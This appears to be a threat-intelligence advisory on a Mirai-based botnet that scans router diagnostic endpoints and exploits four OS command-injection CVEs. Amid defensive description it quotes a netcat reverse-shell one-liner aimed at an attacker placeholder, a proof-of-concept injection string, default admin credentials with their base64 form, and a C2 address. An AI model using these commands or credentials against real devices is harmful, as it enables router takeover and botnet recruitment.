Botnet Scanning Internet-Exposed Router Diagnostic Tools Exploiting OS Command Injection (CVE-2024-12856, CVE-2013-7179, CVE-2020-8949, CVE-2024-48419) — Threadlinqs Intelligence
As of 2026-08-05, Botnet Scanning Internet-Exposed Router Diagnostic Tools Exploiting OS Command Injection (CVE-2024-12856, CVE-2013-7179, CVE-2020-8949, CVE-2024-48419) is a high-severity vulnerability threat, tracked by Threadlinqs Intelligence with 9 detection rules (Splunk SPL, Microsoft KQL, Sigma) and 26 indicators of compromise.
Threat ID: TL-2026-1884 · Severity: HIGH · CVSS: 8.8 · Status: ACTIVE · Category: VULNERABILITY
A Mirai-based botnet is conducting concentrated HTTP reconnaissance scanning against a fixed set of diagnostic CGI endpoints (/apply.cgi, /cgi-bin/diagnostic.cgi, /diag_ping.cgi, /goform/diagTool,
Starting on or around 2026-08-04, SANS ISC (diary #33214) and independent reporting documented a botnet performing systematic HTTP reconnaissance against a tight, fixed set of router diagnostic URLs, each observed served at count=20 in the scan corpus. The targeted endpoints (/apply.cgi, /cgi-bin/adv_ping.cgi, /cgi-bin/diagnostic.cgi, /cgi-bin/DiagnosticsMsg.cgi, /cgi-bin/ping.cgi, /cgi-bin/system_mgr.cgi, /cgi-bin/traceroute.cgi, /diag_ping.cgi, /goform/diagTool, /goform/ping, /ping_test.cgi, /sys_diag.html) all back web-based ping, traceroute, and system-diagnostics utilities. Diagnostic tools of this class are a well-known source of OS command injection because they concatenate user-supplied hostnames directly into shell command strings (e.g., os.system("ping -c 1 -w2 " + hostname)).
The scanning targets four specific command-injection CVEs. CVE-2024-12856 affects Four-Faith F3x24/F3x36 industrial routers at firmware 2.0 via the /apply.cgi adj_time_year parameter (submit_type=adjust_sys_time); the device ships with default admin:admin credentials (HTTP Basic auth, base64 YWRtaW46YWRtaW4=), which effectively converts the post-authentication flaw into unauthenticated remote command injection. Censys identified over 15,000 internet-facing Four-Faith routers, concentrated in Turkey, China, Spain, and Hungary. CVE-2013-7179 affects the Seowon Intech SWC-9100 router and requires no authentication: the ping_ipaddr parameter of cgi-bin/diagnostic.cgi passes user-supplied targets directly into a shell command (PoC injection: 127.0.0.1>/dev/null; ls -lash /etc). CVE-2020-8949 affects multiple Gocloud router models (S2A, S2A_WL, S3A, S3A K2P MTK, ISP3000) via the cgi-bin/webui/admin/tools/app_ping/diag_ping/ ping endpoint. CVE-2024-48419 affects the Edimax BR-6476AC (AC1200) router at firmware 1.06 via three goahead form handlers (/goform/tracerouteDiagnosis, /goform/pingDiagnosis, /goform/fromSysToolPingCmd), allowing injection of arbitrary shell commands as root; the device is end-of-life with no patch expected and has no anti-CSRF protection.
This exploitation pattern is consistent with the gayfemboy Mirai botnet first documented by QiAnXin XLab in February 2024. Gayfemboy weaponized CVE-2024-12856 as a zero-day beginning November 9, 2024 (observed by DucklingStudio honeypots), uploads a custom UPX-packed Mirai payload to compromised routers, and has grown to over 15,000 daily active bot IPs conducting DDoS-for-profit attacks (10-30 second bursts at roughly 100 Gbps). The post-exploitation chain documented in the Four-Faith case uses a named-pipe reverse shell (mknod bOY p; cat bOY|/bin/sh -i 2>&1|nc <attacker> <port> >bOY; rm bOY;) followed by Mirai payload drop. A related Mirai variant, RondoDox (Fortinet), also exploits CVE-2024-12856 and uses a decoded C2 at 83.150.218.93. The botnet's scanning of diagnostic endpoints should be treated as a reliable indicator of targeted command-injection campaigns rather than benign scan noise.
Weaknesses (CWE)
CWE-78, CWE-77, CWE-20, CWE-1392, CWE-862
Target sectors: energy, utilities, manufacturing, transport, telecoms, industrial-control
Target regions: Global, turkey, china, spain, hungary
Detections & IOCs
As of 2026-08-10, this threat has 9 detection rule(s) across Splunk SPL, Microsoft KQL and Sigma, and 26 indicator(s) of compromise. Detection query text and full IOC values are available to authenticated users and programmatically via the Threadlinqs MCP server (Purple tier). View plans.
VULNERABILITY, HIGH, threat intelligence, cybersecurity, CVE-2024-12856, CVE-2013-7179, CVE-2020-8949, CVE-2024-48419, T1595, T1588, T1190, T1078, T1059, T1027, T1046, T1071
